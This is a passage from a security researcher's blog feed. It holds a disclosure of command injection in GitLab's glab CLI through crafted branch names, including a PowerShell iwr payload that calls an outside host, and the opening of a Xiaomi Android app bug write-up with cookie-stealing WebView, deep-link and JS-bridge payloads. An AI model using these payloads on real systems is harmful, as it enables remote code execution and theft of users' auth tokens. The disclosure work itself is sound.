&lt;pre&gt;&lt;code class=&quot;lang-go&quot;&gt;&lt;span class=&quot;hljs-keyword&quot;&gt;return&lt;/span&gt; utils.OpenInBrowser(openURL, browser)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;&lt;b&gt;openURL&lt;/b&gt;&lt;/code&gt; is generated using &lt;a href=&quot;https://gitlab.com/gitlab-org/cli/-/blob/main/commands/mr/create/mr_create.go#L707&quot;&gt;the following&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;lang-go&quot;&gt;openURL, err := generateMRCompareURL(opts)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Following &lt;b&gt;&lt;code&gt;generateMRCompareURL&lt;/code&gt;&lt;/b&gt; leads us to the following &lt;a href=&quot;https://gitlab.com/gitlab-org/cli/-/blob/main/commands/mr/create/mr_create.go#L742&quot;&gt;piece of code&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;lang-go&quot;&gt;u, err := url.Parse(opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.SourceProject&lt;/span&gt;&lt;span class=&quot;hljs-selector-class&quot;&gt;.WebURL&lt;/span&gt;)&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;lang-go&quot;&gt;&amp;nbsp;&lt;span class=&quot;hljs-keyword&quot;&gt;if&lt;/span&gt; err != nil {
&lt;span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;return &lt;span class=&quot;hljs-string&quot;&gt;&quot;&quot;&lt;/span&gt;, err
}&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;lang-go&quot;&gt;u&lt;span class=&quot;hljs-selector-class&quot;&gt;.Path&lt;/span&gt; += &lt;span class=&quot;hljs-string&quot;&gt;&quot;/-/merge_requests/new&quot;&lt;/span&gt;
u&lt;span class=&quot;hljs-selector-class&quot;&gt;.RawQuery&lt;/span&gt; = fmt.Sprintf( &lt;span class=&quot;hljs-string&quot;&gt;&quot;merge_request[title]=%s&amp;amp;amp;merge_request[description]=%s&amp;amp;amp;merge_request[source_branch]=%s&amp;amp;amp;merge_request[target_branch]=%s&amp;amp;amp;merge_request[source_project_id]=%d&amp;amp;amp;merge_request[target_project_id]=%d&quot;&lt;/span&gt;,
strings.ReplaceAll(url.PathEscape(opts.Title), &lt;span class=&quot;hljs-string&quot;&gt;&quot;+&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;%2B&quot;&lt;/span&gt;),
strings.ReplaceAll(url.PathEscape(description), &lt;span class=&quot;hljs-string&quot;&gt;&quot;+&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;%2B&quot;&lt;/span&gt;),
opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.SourceBranch&lt;/span&gt;,
opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.TargetBranch&lt;/span&gt;,
opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.SourceProject&lt;/span&gt;&lt;span class=&quot;hljs-selector-class&quot;&gt;.ID&lt;/span&gt;,
opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.TargetProject&lt;/span&gt;&lt;span class=&quot;hljs-selector-class&quot;&gt;.ID&lt;/span&gt;)
return u.String(), nil
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Circling back to what we already covered, if a user supplies the following input:&lt;br /&gt;
&lt;code&gt;glab mr create --web&lt;/code&gt;,&lt;br /&gt;the function &lt;code&gt;&lt;b&gt;previewMR()&lt;/b&gt;&lt;/code&gt; generates a URL via &lt;code&gt;&lt;b&gt;generateMRCompareURL()&lt;/b&gt;&lt;/code&gt;, and due to supplying the &lt;b&gt;&lt;code&gt;--web&lt;/code&gt;&lt;/b&gt; flag, &lt;code&gt;&lt;b&gt;utils.OpenInBrowser(openURL, browser)&lt;/b&gt;&lt;/code&gt; ends up calling (pay close attention to the &lt;b&gt;&amp;amp;&lt;/b&gt; char being escaped via the &lt;b&gt;^&lt;/b&gt; char, which is done to send the &lt;b&gt;&amp;amp;&lt;/b&gt; as a URL parameter separator instead of a shell character)&lt;br /&gt;&lt;code&gt;cmd.exe /c &quot;start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&amp;amp;amp;merge_request[description]=%s^&amp;amp;amp;merge_request[source_branch]=%s^&amp;amp;amp;merge_request[target_branch]=%s^&amp;amp;amp;merge_request[source_project_id]=%d^&amp;amp;amp;merge_request[target_project_id]=%d&quot;&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Looking at &lt;code&gt;&lt;b&gt;generateCompareURL()&lt;/b&gt;&lt;/code&gt; to see what parameters we can control:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;lang-go&quot;&gt;u&lt;span class=&quot;hljs-selector-class&quot;&gt;.RawQuery&lt;/span&gt; = fmt.Sprintf( &lt;span class=&quot;hljs-string&quot;&gt;&quot;merge_request[title]=%s&amp;amp;amp;merge_request[description]=%s&amp;amp;amp;merge_request[source_branch]=%s&amp;amp;amp;merge_request[target_branch]=%s&amp;amp;amp;merge_request[source_project_id]=%d&amp;amp;amp;merge_request[target_project_id]=%d&quot;&lt;/span&gt;,
strings.ReplaceAll(url.PathEscape(opts.Title), &lt;span class=&quot;hljs-string&quot;&gt;&quot;+&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;%2B&quot;&lt;/span&gt;),
strings.ReplaceAll(url.PathEscape(description), &lt;span class=&quot;hljs-string&quot;&gt;&quot;+&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;%2B&quot;&lt;/span&gt;),
opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.SourceBranch&lt;/span&gt;,
opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.TargetBranch&lt;/span&gt;,
opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.SourceProject&lt;/span&gt;&lt;span class=&quot;hljs-selector-class&quot;&gt;.ID&lt;/span&gt;,
opts&lt;span class=&quot;hljs-selector-class&quot;&gt;.TargetProject&lt;/span&gt;&lt;span class=&quot;hljs-selector-class&quot;&gt;.ID&lt;/span&gt;)
return u.String(), nil
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;b&gt;title&lt;/b&gt; and the &lt;b&gt;description&lt;/b&gt; is set by the user calling the &lt;b&gt;&lt;code&gt;glab mr create --web&lt;/code&gt;&lt;/b&gt; command. We could try poisoning either the &lt;b&gt;source branch name&lt;/b&gt; or the &lt;b&gt;target branch name&lt;/b&gt;.&amp;nbsp; &lt;br /&gt;&lt;/p&gt;&lt;h1 id=&quot;description&quot;&gt;Exploitation&lt;/h1&gt;&lt;p&gt;So, we are at a stage where we need to craft a valid git branch whose name is such that it allows us to break out of the URL and inject arbitrary commands. &lt;/p&gt;&lt;p&gt;Our current injection point, which is the URL parameter &lt;b&gt;merge_request[target_branch]&lt;/b&gt; looks like the following&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;cmd.exe /c &quot;start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&amp;amp;amp;merge_request[description]=%s^&amp;amp;amp;merge_request[source_branch]=%s^&amp;amp;amp;merge_request[target_branch]=&lt;b&gt;PAYLOAD-HERE&lt;/b&gt;^&amp;amp;amp;merge_request[source_project_id]=%d^&amp;amp;amp;merge_request[target_project_id]=%d&quot;&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The simplest way to break out of the command would be to use something like &lt;b&gt;&amp;amp;calc.exe&lt;/b&gt;, which could end up calling&lt;br /&gt;&lt;code&gt;cmd.exe /c &quot;start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[target_branch]=&lt;b&gt;&amp;amp;calc.exe&lt;/b&gt;&quot;&lt;/code&gt;&lt;br /&gt; As a result, the &lt;code&gt;start&lt;/code&gt; command would first open the URL &lt;code&gt;https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[target_branch]=&lt;/code&gt;, and Windows will then run the &lt;code&gt;calc.exe&lt;/code&gt; process, thanks to the &lt;b&gt;&amp;amp;&lt;/b&gt; shell character.&lt;/p&gt;
&lt;p&gt;However, all &lt;b&gt;&amp;amp;&lt;/b&gt; chars are escaped using the following line:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;lang-go&quot;&gt;r := strings.NewReplacer(&lt;span class=&quot;hljs-string&quot;&gt;&quot;&amp;amp;amp;&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;^&amp;amp;amp;&quot;&lt;/span&gt;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, &lt;b&gt;&amp;amp;&lt;/b&gt; is not an option.&lt;/p&gt;
&lt;p&gt;Windows has many file name restrictions, which wouldn't allow you to create a proper payload. However, &lt;b&gt;this was not the case when creating a branch name within the GitLab UI itself&lt;/b&gt;. After a lot of fuzzing and searching online, the following branch name was finally crafted by using the &quot;@&quot; and &quot;|&quot; character: &lt;code&gt;a|@calc&lt;/code&gt;. Yes, these are valid command delimiters in Windows commands, and more importantly, &lt;b&gt;valid branch names&lt;/b&gt; that cannot be created locally, but only via the GitLab UI. This leads to RCE.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;What's more useful as an attacker is the ability to set default branches in your projects in GitLab, which mean that by default, all Git clients will load and refer to this branch. &lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;attack-scenario&quot;&gt;Attack scenario&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Attacker creates a repository. They create a branch named &quot;@|calc&quot;.&lt;/li&gt;
&lt;li&gt;To make the attack more convincing, they set this branch as the default branch.&lt;/li&gt;
&lt;li&gt;Victim clones the repository on their machine.&lt;/li&gt;
&lt;li&gt;Victim tries to create an MR using &lt;code&gt;glab mr create --web&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The following command is run: &lt;code&gt;cmd.exe /c &quot;start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&amp;amp;amp;merge_request[description]=%s^&amp;amp;amp;merge_request[source_branch]=%s^&amp;amp;amp;merge_request[target_branch]=&lt;b&gt;@|calc&lt;/b&gt;^&amp;amp;amp;merge_request[source_project_id]=%d^&amp;amp;amp;merge_request[target_project_id]=%d&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The pipe character allows to break out of the URL context and launch &lt;code&gt;calc&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;poc-video&quot;&gt;PoC video&lt;/h2&gt;
&lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/9oMPKs2mom8&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;h1 id=&quot;current-limitations&quot;&gt;Further limitations&lt;br /&gt;&lt;/h1&gt;&lt;div style=&quot;text-align: left;&quot;&gt;After trying to craft a more practical payload that would do more than just pop calc, I came across the following restrictions&lt;br /&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Can't use the space character for a more complex payload&lt;/li&gt;
&lt;li&gt;Length limit due to branch name specifications&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After further fuzzing, I found out that we can fully chain arbitrary Windows commands using the &quot;;&quot; command delimiter. The branch name for this exploitation would be:&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;code&gt;a|@powershell;iwr('pingb.in/p/1df28a9c513ab75e6a3c73d52b8f')&lt;/code&gt;&lt;/p&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;p&gt;This will first open up Powershell, then run the commands following the ';' character inside it. This is also something I wasn't aware of before.&lt;br /&gt;&lt;/p&gt;&lt;h1 id=&quot;current-limitations&quot;&gt;Conclusion&lt;/h1&gt;&lt;div id=&quot;current-limitations&quot; style=&quot;text-align: left;&quot;&gt;People often discount CLI tools when it comes to finding impactful security issues, but it shouldn't be forgotten that as long as there are venues that process user input, especially using sensitive sinks that deal with shell commands, local filesystem operations etc., there is always a chance that things might go wrong - so be sure to thoroughly analyze the different functionalities of such tools.&lt;br /&gt;&lt;/div&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&lt;/h2&gt;&lt;code&gt;&amp;nbsp; &lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
</description>
        <pubDate>Thu, 06 Jul 2023 13:42:00 +0000</pubDate>
        <link>//2023/07/remote-code-execution-in-gitlabs-cli</link>
        <guid isPermaLink="true">//2023/07/remote-code-execution-in-gitlabs-cli</guid>
        
        
      </item>
    
      <item>
        <title>Hacking Xiaomi's android apps - Part 1</title>
        <description>&lt;div id=&quot;html&quot;&gt;

&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;
In this blogpost I want to disclose some interesting security issues that I found while researching on Xiaomi's assets, which got me to #5 within a month and also the top researcher spot for April and May '21.&lt;/span&gt;&lt;a name=&quot;more&quot;&gt;&lt;/a&gt;&lt;span style=&quot;font-family: arial; font-size: medium;&quot;&gt; &lt;br /&gt;&lt;/span&gt;&lt;h1 style=&quot;text-align: left;&quot;&gt;1. Stealing users' AuthToken by hijacking WebView in Mi Home&lt;/h1&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;The app exported an activity which loaded an external URL directly from user input. A simple ADB PoC is &lt;b&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;am start -n com.xiaomi.smarthome/com.mi.global.shop.activity.MainTabActivity -d http://tmh/?nativeOpenUrl=www.evil.com &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;As you &lt;span style=&quot;font-family: inherit;&quot;&gt;can&lt;/span&gt; see, my payload is in the &lt;b&gt;nativeOpenUrl&lt;/b&gt; parameter. Looking at the code for this activity, it is found that the webview implements a custom &lt;b&gt;DownloadListener&lt;/b&gt; like the following:&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/e57b228d0725c00b6c6e5f2f951a0964.js&quot;&gt;&lt;/script&gt;We see that the webview introduces it's own method for whenever a download starts. Further, on lines 23-26, we see that it will attach the user's cookies to a request that makes the app start a download.&lt;/span&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Connecting all the dots, we now simply have to create a page that will send a 'downloadable' response to the webview, and it will send a request with the user's cookies attached.&lt;br /&gt;A simple PoC in PHP:&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/85fb664c988a004255d57a5daa227477.js&quot;&gt;&lt;/script&gt;As can be seen, the server responds with a 'downloadable' HTTP response, and on receiving the next request, sends the user cookie to a Collaborator instance.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Naturally, the next step in the attack was to make this attack remote. For this, deep links were used. The manifest file revealed that the app will parse any links of the format&amp;nbsp;&lt;b&gt;globalshop://mobile.mi.com?&amp;lt;params&amp;gt;. &lt;/b&gt;After some more code review, the following link was crafted:&amp;nbsp;&lt;b&gt;globalshop://mobile.mi.com?nativeOpenUrl=https://takemyhand.xyz/downloadable_response.html&lt;/b&gt;. This link can be used inside an anchor tag of the attacker's web page, and it will execute the full attack.&lt;/span&gt;&lt;/div&gt;&lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Db9J9BcJj7c&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;div&gt;&lt;h1 style=&quot;text-align: left;&quot;&gt;2. Overly verbose app logs in Xiaomi Market&lt;/h1&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;This bug is nothing fancy, but I think a lot of people might miss this. The &lt;b&gt;Xiaomi Market&lt;/b&gt;&amp;nbsp;stored app logs in a public directory, which could have been accessed by any application on the victims' device. This was due to usage of&amp;nbsp;&lt;b&gt;getExternalFilesDir()&lt;/b&gt;, which returns a handle to the &lt;b&gt;/sdcard/Android/data/com.xiaomi.market/files&lt;/b&gt;&amp;nbsp;directory where the logs reside. Previously I only restricted myself to checking the &lt;b&gt;/sdcard/&lt;/b&gt;&amp;nbsp;directory without looking inside the app's own private (but public?) directory. Looking for these issues is as simple as grepping for&amp;nbsp;&lt;b&gt;getExternalFilesDir() &lt;/b&gt;and not just &lt;b&gt;getExternalStorage()&lt;/b&gt;. A simple java PoC to steal logs out of the directory is:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/b691401c75d9b88db04201479d4709c7.js&quot;&gt;&lt;/script&gt;&lt;h1 style=&quot;text-align: left;&quot;&gt;3. Task deception using app linking in Mi Music&lt;/h1&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;The manifest file for Mi Music looked like:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/ac4b89608e6246690623ad26c9b3760a.js&quot;&gt;&lt;/script&gt;Code for &lt;b&gt;miui-music://web&lt;/b&gt; deeplink in &lt;b&gt;com.miui.player.component.HybridUriParser:&lt;/b&gt;&lt;/span&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/5add2336de85c5f19cebad11b914762d.js&quot;&gt;&lt;/script&gt;As can be seen, if the deeplink is like&lt;b&gt; miui-music://web/?url=https://www.google.com&amp;amp;browser_view=true,&lt;/b&gt; this will launch &lt;b&gt;another&lt;/b&gt; intent with data as &lt;i&gt;https://www.google.com&lt;/i&gt; and action &lt;b&gt;android.intent.action.VIEW&lt;/b&gt;. Naturally, this will be opened in the device's browser.&amp;nbsp;&lt;/span&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;An interesting way to attack such implementations (which is quite common to prevent malicious links from opening inside the webview), is to use &lt;b&gt;app links&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Android allows use of app links, which work similar to deep links. If an app link for my app exists, instead of the URL opening in the browser, my application will be launched on the user's device.&lt;br /&gt;So, a custom APK was built, and the following intent filters were added:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/dcea8e5896300e263fa51c155ff2748a.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;This means that all intents with data &lt;a href=&quot;https://www.blogger.com/#&quot;&gt;https://recon.takemyhand.xyz/deceive.html&lt;/a&gt; will be launched inside my application.&lt;br /&gt;If I just add this intent filter, then on using deeplink &lt;b&gt;miui-music://web/?url=https://recon.takemyhand.xyz/deceive.html&amp;amp;browser_view=true&lt;/b&gt;, my app will simply get launched, although &lt;b&gt;without&lt;/b&gt; any chance of deceiving the user.&lt;br /&gt;To make it 100% convincing, the following intent filters were also added inside the app:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/ac4b89608e6246690623ad26c9b3760a.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;This will allow the user to choose an application when launching the deeplink &lt;b&gt;miui-music://web/?url=https://recon.takemyhand.xyz/deceive.html&amp;amp;browser_view=true&lt;/b&gt;. Even when the user clicks on Mi Music in the intent picker, it will launch the custom APK's activity, since an app link is declared in the application.&lt;br /&gt;Lastly, I have also signed my APK and used the SHA 256 fingerprint to generate my own &lt;b&gt;assetlinks.json&lt;/b&gt; file on my website,&amp;nbsp;which allows android to open the custom application every time instead of inside the browser.&lt;br /&gt;Even when the user chooses Mi Music to open the deeplink, he will be taken to the malicious activity. Since the &lt;b&gt;launchMode&lt;/b&gt; of the activity inside Mi Music is set to &lt;b&gt;singleTask&lt;/b&gt;, the malicious activity will be launched inside Mi Music app (a task affinity can be set in the malicious application), making it impossible for victim to suspect an attack. This can lead to very easy theft of credentials,/span&amp;gt;&amp;lt;/div&amp;gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;The simple fix was to specify browser package in &lt;b&gt;com.miui.player.component.HybridUriParser&lt;/b&gt; when launching browser intent.&lt;/span&gt;&lt;/div&gt;&lt;h1 style=&quot;text-align: left;&quot;&gt;4. Remote WebView hijack to exfiltrate data in Mi Music&lt;/h1&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;In the AndroidManifest.xml file you can see the &lt;b&gt;com.miui.player.ui.MusicBrowserActivity&lt;/b&gt; processes deeplinks:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/f4409d04aed5b2ac6f6594a6a92c2cec.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Looking at the code for &lt;b&gt;com.miui.player.ui.MusicBrowserActivity&lt;/b&gt; shows a function called &lt;b&gt;dispatch&lt;/b&gt;:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/9a69999bdb00c54b387b788e33ff7701.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;Uri parseData = parseData(intent);&lt;/span&gt; parses the intent and passes it to &lt;b&gt;parseFragment()&lt;/b&gt; in the last function inside dispatch.&lt;br /&gt;The code for &lt;b&gt;parseFragment&lt;/b&gt;:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/8688569ba93c3d6f454dfe3c6ccf89f8.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Now we know what deeplink is needed to trigger the webview with our URL:&lt;b&gt; miui-music://global_music/?page_type=webview&amp;amp;url=https://www.evil.com&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Now to find a way to escalate this attack, a way had to be discovered to exploit this insecure webview usage.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;In &lt;b&gt;com.xiaomi.music.hybrid.internal.HybridManager&lt;/b&gt; class you can see that javascript interface is getting added:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/05f5a06c85d210b11ce57aca3426f4c5.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;The javascript interfaces are declared in &lt;b&gt;com.xiaomi.music.hybrid.internal.JsInterface&lt;/b&gt;. You can see that there are 2 javascript interfaces:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/04c39e97dbc246b07c7dc19e1d133bd7.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Code for &lt;b&gt;mManager.invoke()&lt;/b&gt; found in &lt;b&gt;com.xiaomi.music.hybrid.internal.HybridManager&lt;/b&gt;:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/ce133b28168838e2978982be6e5e7ad8.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;The &lt;span style=&quot;font-family: courier;&quot;&gt;&lt;b&gt;HybridFeature lookupFeature = this.mFM.lookupFeature(str);&lt;/b&gt;&lt;/span&gt; allows us to call certain features. A list of all these features can be found under &lt;b&gt;com.miui.player.hybrid.feature &lt;/b&gt;folder.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://1.bp.blogspot.com/-p0U2Fqcz6Hc/YSh7xjGsxqI/AAAAAAAABtw/H5BFC6S9LFAs59HgZRkm7MuRy6NOsMDdwCLcBGAsYHQ/s2006/Screenshot_2021-04-19_at_8.25.54_PM.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2006&quot; data-original-width=&quot;1140&quot; height=&quot;1058&quot; src=&quot;https://1.bp.blogspot.com/-p0U2Fqcz6Hc/YSh7xjGsxqI/AAAAAAAABtw/H5BFC6S9LFAs59HgZRkm7MuRy6NOsMDdwCLcBGAsYHQ/w601-h1058/Screenshot_2021-04-19_at_8.25.54_PM.png&quot; width=&quot;601&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;So using our webview, we should able to query any of these features. For example, to get the userInfo, our payload inside the webview will be:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;MiuiJsBridge.invoke(&quot;com.miui.player.hybrid.feature.QueryUserInfo&quot;, &quot;callback&quot;, null, &quot;(function(t) {alert(t)})&quot;);&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;This payload took quite some time to make. The first parameter is an identifier to the feature we want to call, the second parameter is the type of request we are making. In this case, we use the &lt;b&gt;callback&lt;/b&gt;&amp;nbsp;mode and use our callback as&amp;nbsp;&lt;span style=&quot;background-color: #f8f8f8; font-family: courier; white-space: pre;&quot;&gt;(function(t) {alert(t)}&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;which will take the response from the java code and alert it.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;If you try loading the above script inside your HTML page and load it inside your webview, you will get permission error. Why?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;br /&gt;So in the first line of the invoke function, you can see:&lt;/span&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; color: #333333; font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-family: 